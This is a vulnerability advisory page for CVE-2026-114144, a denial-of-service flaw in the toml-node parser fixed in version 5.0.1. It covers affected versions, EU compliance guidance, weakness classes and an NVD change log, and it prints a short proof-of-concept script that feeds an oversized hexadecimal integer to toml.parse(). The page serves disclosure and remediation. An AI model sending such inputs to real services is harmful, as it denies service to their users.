BinaryMuse Toml-node: Allocation of Resources Without Limits or Throttling (CVE-2026-114144)

What is affected, what to do

Update BinaryMuse Toml-node to version 5.0.1.

Affected

• BinaryMuse Toml-node lt *..5.0.1

Fixed in

• BinaryMuse Toml-node 5.0.1

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Metrics

Detection rules

No NEOSEC detection rule is available for this vulnerability yet.

Classification under NIS2 and CRA

Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

NIS2

NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

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High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.

CRA

The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

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From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.

ISO/IEC 27001

ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

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Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

Description

const toml = require('toml');

const N = 5_000_000; // ~5 MB request body
const doc = 'x = 0x' + 'f'.repeat(N);

const start = Date.now();
try {
  toml.parse(doc); // eventually throws "outside the 64-bit signed integer range" —
                    // but only after the costly conversion has run
} catch (e) {}

console.log('elapsed:', Date.now() - start, 'ms');

Source: NVD (NIST), cvelistv5, GitHub Security Advisories

Weakness classes (CWE)

• CWE-400Uncontrolled Resource Consumption

  Class

  The product does not properly control the allocation and maintenance of a limited resource.

  Entry at MITRE CWE-400

• CWE-770Allocation of Resources Without Limits or Throttling

  Base

  The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

  Entry at MITRE CWE-770

References & sources

• github.comBinaryMuse/toml-node/security/advisories/GHSA-9qmh-m7c6-f92px_refsource_CONFIRM
• github.comBinaryMuse/toml-node/commit/9d52e384f6030932174d1afb0d910154dd6…x_refsource_MISC
• github.comBinaryMuse/toml-node/releases/tag/v5.0.1x_refsource_MISC

Reanalysis & status changes

Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.

1. New CVE Received21.10.2026security-advisories@github.com

   • Description: after toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() passes unbounded hexadecimal, octal, binary, and decimal digit sequences from lib/parser.js to BigInt() before reduceInteger() in lib/compiler.js checks whether the resulting value fits the TOML 64-bit integer range. Converting a sufficiently long integer string consumes super-linear CPU time and synchronously blocks the Node.js event loop, allowing one attacker-supplied TOML document to deny service to concurrent work in the process. The later range check cannot prevent the conversion cost because it executes after BigInt(). This issue is fixed in version 5.0.1.
   • CVSS V3.1: after AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
   • CWE: after CWE-400
   • CWE: after CWE-770